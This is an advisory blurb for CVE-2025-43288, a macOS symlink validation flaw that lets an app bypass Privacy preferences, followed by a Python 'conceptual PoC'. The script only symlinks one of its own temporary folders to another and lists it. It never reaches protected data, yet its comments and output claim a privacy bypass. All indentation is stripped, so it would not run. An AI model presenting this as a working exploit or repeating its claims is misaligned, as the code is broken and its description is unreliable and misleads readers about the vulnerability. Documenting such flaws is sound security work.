This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Sequoia 15.7, macOS Tahoe 26. An app may be able to bypass Privacy preferences.
The following code is for security research and authorized testing only.
python
# CVE-2025-43288 PoC - Symbolic Link Validation Bypass
# This is a conceptual PoC demonstrating the symlink bypass technique
# Note: This is for educational purposes only
import os
import subprocess
import tempfile
def create_exploit_scenario():
"""
Create a scenario that demonstrates the symlink validation bypass.
This PoC shows how a malicious app could use symlinks to bypass
macOS privacy preferences.
"""
# Create temporary directories
with tempfile.TemporaryDirectory() as tmpdir:
# Create a fake protected location via symlink
protected_path = os.path.join(tmpdir, 'fake_protected')
actual_data_path = os.path.join(tmpdir, 'actual_data')
os.makedirs(actual_data_path, exist_ok=True)
# Create symlink that bypasses validation
# In real attack, this would point to protected user data
try:
os.symlink(actual_data_path, protected_path)
print(f"[+] Symlink created: {protected_path} -> {actual_data_path}")
except OSError as e:
print(f"[-] Failed to create symlink: {e}")
return False
# Attempt to access via symlink (bypassing privacy checks)
# In vulnerable version, this access would not trigger privacy alerts
try:
# List contents through symlink
contents = os.listdir(protected_path)
print(f"[+] Successfully accessed data through symlink: {contents}")
return True
except PermissionError:
print("[-] Access denied - system may have protections in place")
return False
def main():
print("CVE-2025-43288 Symlink Validation Bypass PoC")
print("=" * 50)
create_exploit_scenario()
print("\nNote: This PoC demonstrates the concept. Real exploitation")
print("requires specific conditions and macOS version.")
if __name__ == "__main__":
main()